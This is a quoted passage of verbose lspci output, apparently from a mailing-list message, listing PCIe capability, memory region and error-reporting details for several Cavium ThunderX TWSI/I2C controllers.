> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [98] #14 [0001]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 192
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.0 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e100000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e100f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 193
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.1 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e101000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e101f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 194
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.2 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e102000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e102f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 196
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.4 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e104000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e104f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 197
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.5 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e105000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e105f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 198
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.6 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e106000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e106f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 199
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:18.7 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e107000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e107f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 200
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.0 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e108000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e108f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 201
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.1 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e109000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e109f00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
> DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us
> ExtTag- AttnBtn- AttnInd- PwrInd- RBE+ FLReset-
> DevCtl: Report errors: Correctable+ Non-Fatal+ Fatal+ Unsupported+
> RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop-
> MaxPayload 128 bytes, MaxReadReq 128 bytes
> DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr- TransPend-
> LnkCap: Port #0, Speed unknown, Width x0, ASPM not supported, Exit Latency L0s <64ns, L1 <1us
> ClockPM- Surprise- LLActRep- BwNot- ASPMOptComp-
> LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- CommClk-
> ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt-
> LnkSta: Speed unknown, Width x0, TrErr- Train- SlotClk- DLActive- BWMgmt- ABWMgmt-
> DevCap2: Completion Timeout: Not Supported, TimeoutDis-, LTR-, OBFF Not Supported
> DevCtl2: Completion Timeout: 50us to 50ms, TimeoutDis-, LTR-, OBFF Disabled
> LnkSta2: Current De-emphasis Level: -6dB, EqualizationComplete-, EqualizationPhase1-
> EqualizationPhase2-, EqualizationPhase3-, LinkEqualizationRequest-
> Capabilities: [80] MSI-X: Enable- Count=1 Masked-
> Vector table: BAR=4 offset=00000000
> PBA: BAR=4 offset=000f0000
> Capabilities: [98] #14 [0002]
> Capabilities: [100 v1] Vendor Specific Information: ID=00a0 Rev=2 Len=040 <?>
> Capabilities: [140 v1] Advanced Error Reporting
> UESta: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UEMsk: DLP- SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP- ECRC- UnsupReq- ACSViol-
> UESvrt: DLP+ SDES- TLP- FCP- CmpltTO- CmpltAbrt- UnxCmplt- RxOF- MalfTLP+ ECRC- UnsupReq- ACSViol-
> CESta: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr-
> CEMsk: RxErr- BadTLP- BadDLLP- Rollover- Timeout- NonFatalErr+
> AERCap: First Error Pointer: 00, GenCap- CGenEn- ChkCap- ChkEn-
> Capabilities: [170 v1] Alternative Routing-ID Interpretation (ARI)
> ARICap: MFVC- ACS-, Next Function: 202
> ARICtl: MFVC- ACS-, Function Group: 0
>
> 0000:01:19.2 Serial bus controller [0c80]: Cavium, Inc. THUNDERX TWSI / I2C Controller
> Subsystem: Cavium, Inc. Device b900
> Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx-
> Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- <TAbort- <MAbort- >SERR- <PERR- INTx-
> Latency: 0
> Region 0: [virtual] Memory at 87e10a000000 (32-bit, non-prefetchable) [size=64K]
> Region 4: [virtual] Memory at 87e10af00000 (32-bit, non-prefetchable) [size=1M]
> Capabilities: [40] Express (v2) Endpoint, MSI 00
